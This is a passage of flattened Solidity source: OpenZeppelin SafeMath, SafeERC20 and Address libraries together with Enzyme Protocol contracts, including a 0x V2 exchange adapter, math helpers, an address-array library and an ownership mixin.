* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../IIntegrationManager.sol";
/// @title Integration Adapter interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for all integration adapters
interface IIntegrationAdapter {
function identifier() external pure returns (string memory identifier_);
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IntegrationSelectors Contract
/// @author Enzyme Council <[email protected]>
/// @notice Selectors for integration actions
/// @dev Selectors are created from their signatures rather than hardcoded for easy verification
abstract contract IntegrationSelectors {
bytes4 public constant ADD_TRACKED_ASSETS_SELECTOR = bytes4(
keccak256("addTrackedAssets(address,bytes,bytes)")
);
// Trading
bytes4 public constant TAKE_ORDER_SELECTOR = bytes4(
keccak256("takeOrder(address,bytes,bytes)")
);
// Lending
bytes4 public constant LEND_SELECTOR = bytes4(keccak256("lend(address,bytes,bytes)"));
bytes4 public constant REDEEM_SELECTOR = bytes4(keccak256("redeem(address,bytes,bytes)"));
// Staking
bytes4 public constant STAKE_SELECTOR = bytes4(keccak256("stake(address,bytes,bytes)"));
bytes4 public constant UNSTAKE_SELECTOR = bytes4(keccak256("unstake(address,bytes,bytes)"));
// Combined
bytes4 public constant LEND_AND_STAKE_SELECTOR = bytes4(
keccak256("lendAndStake(address,bytes,bytes)")
);
bytes4 public constant UNSTAKE_AND_REDEEM_SELECTOR = bytes4(
keccak256("unstakeAndRedeem(address,bytes,bytes)")
);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IIntegrationManager interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the IntegrationManager
interface IIntegrationManager {
enum SpendAssetsHandleType {None, Approve, Transfer, Remove}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/IZeroExV2.sol";
import "../../../../utils/MathHelpers.sol";
import "../../../../utils/AddressArrayLib.sol";
import "../../../utils/FundDeployerOwnerMixin.sol";
import "../utils/AdapterBase.sol";
/// @title ZeroExV2Adapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter to 0xV2 Exchange Contract
contract ZeroExV2Adapter is AdapterBase, FundDeployerOwnerMixin, MathHelpers {
using AddressArrayLib for address[];
using SafeMath for uint256;
event AllowedMakerAdded(address indexed account);
event AllowedMakerRemoved(address indexed account);
address private immutable EXCHANGE;
mapping(address => bool) private makerToIsAllowed;
// Gas could be optimized for the end-user by also storing an immutable ZRX_ASSET_DATA,
// for example, but in the narrow OTC use-case of this adapter, taker fees are unlikely.
constructor(
address _integrationManager,
address _exchange,
address _fundDeployer,
address[] memory _allowedMakers
) public AdapterBase(_integrationManager) FundDeployerOwnerMixin(_fundDeployer) {
EXCHANGE = _exchange;
if (_allowedMakers.length > 0) {
__addAllowedMakers(_allowedMakers);
}
}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "ZERO_EX_V2";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
require(_selector == TAKE_ORDER_SELECTOR, "parseAssetsForMethod: _selector invalid");
(
bytes memory encodedZeroExOrderArgs,
uint256 takerAssetFillAmount
) = __decodeTakeOrderCallArgs(_encodedCallArgs);
IZeroExV2.Order memory order = __constructOrderStruct(encodedZeroExOrderArgs);
require(
isAllowedMaker(order.makerAddress),
"parseAssetsForMethod: Order maker is not allowed"
);
require(
takerAssetFillAmount <= order.takerAssetAmount,
"parseAssetsForMethod: Taker asset fill amount greater than available"
);
address makerAsset = __getAssetAddress(order.makerAssetData);
address takerAsset = __getAssetAddress(order.takerAssetData);
// Format incoming assets
incomingAssets_ = new address[](1);
incomingAssets_[0] = makerAsset;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = __calcRelativeQuantity(
order.takerAssetAmount,
order.makerAssetAmount,
takerAssetFillAmount
);
if (order.takerFee > 0) {
address takerFeeAsset = __getAssetAddress(IZeroExV2(EXCHANGE).ZRX_ASSET_DATA());
uint256 takerFeeFillAmount = __calcRelativeQuantity(
order.takerAssetAmount,
order.takerFee,
takerAssetFillAmount
); // fee calculated relative to taker fill amount
if (takerFeeAsset == makerAsset) {
require(
order.takerFee < order.makerAssetAmount,
"parseAssetsForMethod: Fee greater than makerAssetAmount"
);
spendAssets_ = new address[](1);
spendAssets_[0] = takerAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = takerAssetFillAmount;
minIncomingAssetAmounts_[0] = minIncomingAssetAmounts_[0].sub(takerFeeFillAmount);
} else if (takerFeeAsset == takerAsset) {
spendAssets_ = new address[](1);
spendAssets_[0] = takerAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = takerAssetFillAmount.add(takerFeeFillAmount);
} else {
spendAssets_ = new address[](2);
spendAssets_[0] = takerAsset;
spendAssets_[1] = takerFeeAsset;
spendAssetAmounts_ = new uint256[](2);
spendAssetAmounts_[0] = takerAssetFillAmount;
spendAssetAmounts_[1] = takerFeeFillAmount;
}
} else {
spendAssets_ = new address[](1);
spendAssets_[0] = takerAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = takerAssetFillAmount;
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Take an order on 0x
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function takeOrder(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
bytes memory encodedZeroExOrderArgs,
uint256 takerAssetFillAmount
) = __decodeTakeOrderCallArgs(_encodedCallArgs);
IZeroExV2.Order memory order = __constructOrderStruct(encodedZeroExOrderArgs);
// Approve spend assets as needed
__approveMaxAsNeeded(
__getAssetAddress(order.takerAssetData),
__getAssetProxy(order.takerAssetData),
takerAssetFillAmount
);
// Ignores whether makerAsset or takerAsset overlap with the takerFee asset for simplicity
if (order.takerFee > 0) {
bytes memory zrxData = IZeroExV2(EXCHANGE).ZRX_ASSET_DATA();
__approveMaxAsNeeded(
__getAssetAddress(zrxData),
__getAssetProxy(zrxData),
__calcRelativeQuantity(
order.takerAssetAmount,
order.takerFee,
takerAssetFillAmount
) // fee calculated relative to taker fill amount
);
}
// Execute order
(, , , bytes memory signature) = __decodeZeroExOrderArgs(encodedZeroExOrderArgs);
IZeroExV2(EXCHANGE).fillOrder(order, takerAssetFillAmount, signature);
}
// PRIVATE FUNCTIONS
/// @dev Parses user inputs into a ZeroExV2.Order format
function __constructOrderStruct(bytes memory _encodedOrderArgs)
private
pure
returns (IZeroExV2.Order memory order_)
{
(
address[4] memory orderAddresses,
uint256[6] memory orderValues,
bytes[2] memory orderData,
) = __decodeZeroExOrderArgs(_encodedOrderArgs);
return
IZeroExV2.Order({
makerAddress: orderAddresses[0],
takerAddress: orderAddresses[1],
feeRecipientAddress: orderAddresses[2],
senderAddress: orderAddresses[3],
makerAssetAmount: orderValues[0],
takerAssetAmount: orderValues[1],
makerFee: orderValues[2],
takerFee: orderValues[3],
expirationTimeSeconds: orderValues[4],
salt: orderValues[5],
makerAssetData: orderData[0],
takerAssetData: orderData[1]
});
}
/// @dev Decode the parameters of a takeOrder call
/// @param _encodedCallArgs Encoded parameters passed from client side
/// @return encodedZeroExOrderArgs_ Encoded args of the 0x order
/// @return takerAssetFillAmount_ Amount of taker asset to fill
function __decodeTakeOrderCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (bytes memory encodedZeroExOrderArgs_, uint256 takerAssetFillAmount_)
{
return abi.decode(_encodedCallArgs, (bytes, uint256));
}
/// @dev Decode the parameters of a 0x order
/// @param _encodedZeroExOrderArgs Encoded parameters of the 0x order
/// @return orderAddresses_ Addresses used in the order
/// - [0] 0x Order param: makerAddress
/// - [1] 0x Order param: takerAddress
/// - [2] 0x Order param: feeRecipientAddress
/// - [3] 0x Order param: senderAddress
/// @return orderValues_ Values used in the order
/// - [0] 0x Order param: makerAssetAmount
/// - [1] 0x Order param: takerAssetAmount
/// - [2] 0x Order param: makerFee
/// - [3] 0x Order param: takerFee
/// - [4] 0x Order param: expirationTimeSeconds
/// - [5] 0x Order param: salt
/// @return orderData_ Bytes data used in the order
/// - [0] 0x Order param: makerAssetData
/// - [1] 0x Order param: takerAssetData
/// @return signature_ Signature of the order
function __decodeZeroExOrderArgs(bytes memory _encodedZeroExOrderArgs)
private
pure
returns (
address[4] memory orderAddresses_,
uint256[6] memory orderValues_,
bytes[2] memory orderData_,
bytes memory signature_
)
{
return abi.decode(_encodedZeroExOrderArgs, (address[4], uint256[6], bytes[2], bytes));
}
/// @dev Parses the asset address from 0x assetData
function __getAssetAddress(bytes memory _assetData)
private
pure
returns (address assetAddress_)
{
assembly {
assetAddress_ := mload(add(_assetData, 36))
}
}
/// @dev Gets the 0x assetProxy address for an ERC20 token
function __getAssetProxy(bytes memory _assetData) private view returns (address assetProxy_) {
bytes4 assetProxyId;
assembly {
assetProxyId := and(
mload(add(_assetData, 32)),
0xFFFFFFFF00000000000000000000000000000000000000000000000000000000
)
}
assetProxy_ = IZeroExV2(EXCHANGE).getAssetProxy(assetProxyId);
}
/////////////////////////////
// ALLOWED MAKERS REGISTRY //
/////////////////////////////
/// @notice Adds accounts to the list of allowed 0x order makers
/// @param _accountsToAdd Accounts to add
function addAllowedMakers(address[] calldata _accountsToAdd) external onlyFundDeployerOwner {
__addAllowedMakers(_accountsToAdd);
}
/// @notice Removes accounts from the list of allowed 0x order makers
/// @param _accountsToRemove Accounts to remove
function removeAllowedMakers(address[] calldata _accountsToRemove)
external
onlyFundDeployerOwner
{
require(_accountsToRemove.length > 0, "removeAllowedMakers: Empty _accountsToRemove");
for (uint256 i; i < _accountsToRemove.length; i++) {
require(
isAllowedMaker(_accountsToRemove[i]),
"removeAllowedMakers: Account is not an allowed maker"
);
makerToIsAllowed[_accountsToRemove[i]] = false;
emit AllowedMakerRemoved(_accountsToRemove[i]);
}
}
/// @dev Helper to add accounts to the list of allowed makers
function __addAllowedMakers(address[] memory _accountsToAdd) private {
require(_accountsToAdd.length > 0, "__addAllowedMakers: Empty _accountsToAdd");
for (uint256 i; i < _accountsToAdd.length; i++) {
require(!isAllowedMaker(_accountsToAdd[i]), "__addAllowedMakers: Value already set");
makerToIsAllowed[_accountsToAdd[i]] = true;
emit AllowedMakerAdded(_accountsToAdd[i]);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `EXCHANGE` variable value
/// @return exchange_ The `EXCHANGE` variable value
function getExchange() external view returns (address exchange_) {
return EXCHANGE;
}
/// @notice Checks whether an account is an allowed maker of 0x orders
/// @param _who The account to check
/// @return isAllowedMaker_ True if _who is an allowed maker
function isAllowedMaker(address _who) public view returns (bool isAllowedMaker_) {
return makerToIsAllowed[_who];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @dev Minimal interface for our interactions with the ZeroEx Exchange contract
interface IZeroExV2 {
struct Order {
address makerAddress;
address takerAddress;
address feeRecipientAddress;
address senderAddress;
uint256 makerAssetAmount;
uint256 takerAssetAmount;
uint256 makerFee;
uint256 takerFee;
uint256 expirationTimeSeconds;
uint256 salt;
bytes makerAssetData;
bytes takerAssetData;
}
struct OrderInfo {
uint8 orderStatus;
bytes32 orderHash;
uint256 orderTakerAssetFilledAmount;
}
struct FillResults {
uint256 makerAssetFilledAmount;
uint256 takerAssetFilledAmount;
uint256 makerFeePaid;
uint256 takerFeePaid;
}
function ZRX_ASSET_DATA() external view returns (bytes memory);
function filled(bytes32) external view returns (uint256);
function cancelled(bytes32) external view returns (bool);
function getOrderInfo(Order calldata) external view returns (OrderInfo memory);
function getAssetProxy(bytes4) external view returns (address);
function isValidSignature(
bytes32,
address,
bytes calldata
) external view returns (bool);
function preSign(
bytes32,
address,
bytes calldata
) external;
function cancelOrder(Order calldata) external;
function fillOrder(
Order calldata,
uint256,
bytes calldata
) external returns (FillResults memory);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
/// @title MathHelpers Contract
/// @author Enzyme Council <[email protected]>
/// @notice Helper functions for common math operations
abstract contract MathHelpers {
using SafeMath for uint256;
/// @dev Calculates a proportional value relative to a known ratio
function __calcRelativeQuantity(
uint256 _quantity1,
uint256 _quantity2,
uint256 _relativeQuantity1
) internal pure returns (uint256 relativeQuantity2_) {
return _relativeQuantity1.mul(_quantity2).div(_quantity1);
}
/// @dev Calculates a rate normalized to 10^18 precision,
/// for given base and quote asset decimals and amounts
function __calcNormalizedRate(
uint256 _baseAssetDecimals,
uint256 _baseAssetAmount,
uint256 _quoteAssetDecimals,
uint256 _quoteAssetAmount
) internal pure returns (uint256 normalizedRate_) {
return
_quoteAssetAmount.mul(10**_baseAssetDecimals.add(18)).div(
_baseAssetAmount.mul(10**_quoteAssetDecimals)
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title AddressArray Library
/// @author Enzyme Council <[email protected]>
/// @notice A library to extend the address array data type
library AddressArrayLib {
/// @dev Helper to verify if an array contains a particular value
function contains(address[] memory _self, address _target)
internal
pure
returns (bool doesContain_)
{
for (uint256 i; i < _self.length; i++) {
if (_target == _self[i]) {
return true;
}
}
return false;
}
/// @dev Helper to verify if array is a set of unique values.
/// Does not assert length > 0.
function isUniqueSet(address[] memory _self) internal pure returns (bool isUnique_) {
if (_self.length <= 1) {
return true;
}
uint256 arrayLength = _self.length;
for (uint256 i; i < arrayLength; i++) {
for (uint256 j = i + 1; j < arrayLength; j++) {
if (_self[i] == _self[j]) {
return false;
}
}
}
return true;
}
/// @dev Helper to remove items from an array. Removes all matching occurrences of each item.
/// Does not assert uniqueness of either array.
function removeItems(address[] memory _self, address[] memory _itemsToRemove)
internal
pure
returns (address[] memory nextArray_)
{
if (_itemsToRemove.length == 0) {
return _self;
}
bool[] memory indexesToRemove = new bool[](_self.length);
uint256 remainingItemsCount = _self.length;
for (uint256 i; i < _self.length; i++) {
if (contains(_itemsToRemove, _self[i])) {
indexesToRemove[i] = true;
remainingItemsCount--;
}
}
if (remainingItemsCount == _self.length) {
nextArray_ = _self;
} else if (remainingItemsCount > 0) {
nextArray_ = new address[](remainingItemsCount);
uint256 nextArrayIndex;
for (uint256 i; i < _self.length; i++) {
if (!indexesToRemove[i]) {
nextArray_[nextArrayIndex] = _self[i];
nextArrayIndex++;
}
}
}
return nextArray_;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../core/fund-deployer/IFundDeployer.sol";
/// @title FundDeployerOwnerMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract that defers ownership to the owner of FundDeployer
abstract contract FundDeployerOwnerMixin {
address internal immutable FUND_DEPLOYER;
modifier onlyFundDeployerOwner() {
require(
msg.sender == getOwner(),
"onlyFundDeployerOwner: Only the FundDeployer owner can call this function"
);
_;
}
constructor(address _fundDeployer) public {
FUND_DEPLOYER = _fundDeployer;
}
/// @notice Gets the owner of this contract
/// @return owner_ The owner
/// @dev Ownership is deferred to the owner of the FundDeployer contract
function getOwner() public view returns (address owner_) {
return IFundDeployer(FUND_DEPLOYER).getOwner();
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `FUND_DEPLOYER` variable
/// @return fundDeployer_ The `FUND_DEPLOYER` variable value
function getFundDeployer() external view returns (address fundDeployer_) {
return FUND_DEPLOYER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IFundDeployer Interface
/// @author Enzyme Council <[email protected]>
interface IFundDeployer {
enum ReleaseStatus {PreLaunch, Live, Paused}
function getOwner() external view returns (address);
function getReleaseStatus() external view returns (ReleaseStatus);
